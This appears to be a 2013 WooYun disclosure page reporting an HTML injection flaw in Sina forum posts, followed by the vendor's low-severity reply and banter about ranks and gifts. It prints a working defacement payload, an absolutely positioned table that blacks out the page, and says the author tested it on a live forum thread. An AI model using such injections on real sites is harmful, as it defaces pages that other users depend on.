当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-038662

漏洞标题：新浪论坛帖子过滤不严导致可任意改写页面

相关厂商：新浪

漏洞作者： M4sk

提交时间：2013-10-01 11:01

修复时间：2013-11-15 11:01

公开时间：2013-11-15 11:01

漏洞类型：xss跨站脚本攻击

危害等级：低

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-10-01： 细节已通知厂商并且等待厂商处理中
2013-10-02： 厂商已经确认，细节仅向厂商公开
2013-10-12： 细节向核心白帽子及相关领域专家公开
2013-10-22： 细节向普通白帽子公开
2013-11-01： 细节向实习白帽子公开
2013-11-15： 细节向公众公开

简要描述：

RT

详细说明：

首先我们在 一个论坛里面看见一个发帖子 和 恢复的地方 发现有html编译
写入以下代码
<table style="left: 0px; top: 0px; position: fixed;z-index: 5000;position:absolute;width:100%;height:300%;background-color: black;"><tbody><tr><td style="color:#FFFFFF;z-index: 6000;vertical-align:top;"><h1>Hello Sina, Wooyun M4sk Test QQ276916312</h1></td></tr></tbody></table>
发布后 即可整个页面黑掉~ 嘿嘿

1.jpg


2.jpg


http://wh.bbs.house.sina.com.cn/5790475176307092475/thread.html
我擦 不知道为什么 之后打开论坛的分页面后都是白板 我日 不是我的错 对不起~

漏洞证明：

http://wh.bbs.house.sina.com.cn/5790475176307092475/thread.html

2.jpg

修复方案：

有礼物吗？

版权声明：转载请注明来源 M4sk@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：3

确认时间：2013-10-02 19:44

厂商回复：

感谢关注新浪安全，国庆快乐

最新状态：

暂无

漏洞评价：

评论

  1. 2013-10-01 11:57 | M4sk ( 普通白帽子 | Rank:1199 漏洞数:319 | 国内信息安全任重而道远，还需要厂商和白帽...)

    审核 大大~ 把我漏洞名称改了~ o(︶︿︶)o

  2. 2013-10-01 12:05 | XsL ( 路人 | Rank:7 漏洞数:4 )

    @M4sk 这名字好，足够吸引眼球

  3. 2013-10-01 12:06 | M4sk ( 普通白帽子 | Rank:1199 漏洞数:319 | 国内信息安全任重而道远，还需要厂商和白帽...)

    @XsL 本来是 看我如何黑掉新浪众多论坛的 - - 这个更坑爹

  4. 2013-10-01 12:08 | sdnjyjm ( 路人 | Rank:9 漏洞数:2 )

    0.0..

  5. 2013-10-01 12:08 | M4sk ( 普通白帽子 | Rank:1199 漏洞数:319 | 国内信息安全任重而道远，还需要厂商和白帽...)

    @新浪 求礼物啊~

  6. 2013-10-01 12:10 | XsL ( 路人 | Rank:7 漏洞数:4 )

    @-@

  7. 2013-10-01 12:10 | M4sk ( 普通白帽子 | Rank:1199 漏洞数:319 | 国内信息安全任重而道远，还需要厂商和白帽...)

    @新浪 我想这貌似影响几十个论坛吧 rank有20没、。？

  8. 2013-10-01 12:15 | XsL ( 路人 | Rank:7 漏洞数:4 )

    @M4sk 奖金有木有

  9. 2013-10-01 13:06 | Anonymous ( 普通白帽子 | Rank:146 漏洞数:30 | 园长是大傻逼)

    - - 绝对没有礼物

  10. 2013-10-01 13:32 | Anonymous ( 普通白帽子 | Rank:146 漏洞数:30 | 园长是大傻逼)

    - - 尼玛我提交的两个都没有礼物 只是两个10rank

  11. 2013-10-01 20:04 | M4sk ( 普通白帽子 | Rank:1199 漏洞数:319 | 国内信息安全任重而道远，还需要厂商和白帽...)

    @Anonymous 哥哥 你的漏洞影响大不？我会说我这个影响差不多60个论坛吗....o(︶︿︶)o

  12. 2013-10-01 21:10 | Anonymous ( 普通白帽子 | Rank:146 漏洞数:30 | 园长是大傻逼)

    @M4sk = = 一个洞10rank 你说呢 - 等新浪评了rank就知道了 我敢打赌绝对没有礼物

  13. 2013-10-01 21:38 | M4sk ( 普通白帽子 | Rank:1199 漏洞数:319 | 国内信息安全任重而道远，还需要厂商和白帽...)

    @Anonymous 我敢打赌 我马上要睡觉了

  14. 2013-10-01 21:43 | Anonymous ( 普通白帽子 | Rank:146 漏洞数:30 | 园长是大傻逼)

    @M4sk 我敢打赌 我马上也要睡觉了

  15. 2013-10-02 10:15 | M4sk ( 普通白帽子 | Rank:1199 漏洞数:319 | 国内信息安全任重而道远，还需要厂商和白帽...)

    @新浪 确认吗？

  16. 2013-10-02 14:06 | Mas ( 实习白帽子 | Rank:42 漏洞数:15 )

    @M4sk 我经常被改

  17. 2013-10-02 20:26 | M4sk ( 普通白帽子 | Rank:1199 漏洞数:319 | 国内信息安全任重而道远，还需要厂商和白帽...)

    @新浪 求礼物~~~

  18. 2013-10-02 23:23 | Mas ( 实习白帽子 | Rank:42 漏洞数:15 )

    @M4sk 20RANK 礼物 奖品 呵呵呵 3RANK 不谢 哈哈哈 新浪高级啊

  19. 2013-10-03 16:51 | woody ( 路人 | Rank:8 漏洞数:1 | 菜鸟一枚)

    20RANK 礼物 奖品 呵呵呵 3RANK 不谢 哈哈

  20. 2013-10-03 18:11 | M4sk ( 普通白帽子 | Rank:1199 漏洞数:319 | 国内信息安全任重而道远，还需要厂商和白帽...)

    @Mas @woody 呵呵呵呵呵呵呵呵呵

  21. 2013-10-03 18:36 | iiiiiiiii ( 普通白帽子 | Rank:680 漏洞数:89 | )

    @M4sk 不仅礼物没有，，，，连RANK也。。。。哈哈。。。

  22. 2013-11-16 09:05 | etcat ( 普通白帽子 | Rank:149 漏洞数:22 | 0101010101001010101010101010100101010101...)

    这都能通过么，我貌似还有几个

  23. 2013-11-18 19:37 | 啊L川 ( 普通白帽子 | Rank:195 漏洞数:39 | 菜鸟 ，菜渣， 菜呀！)

    马克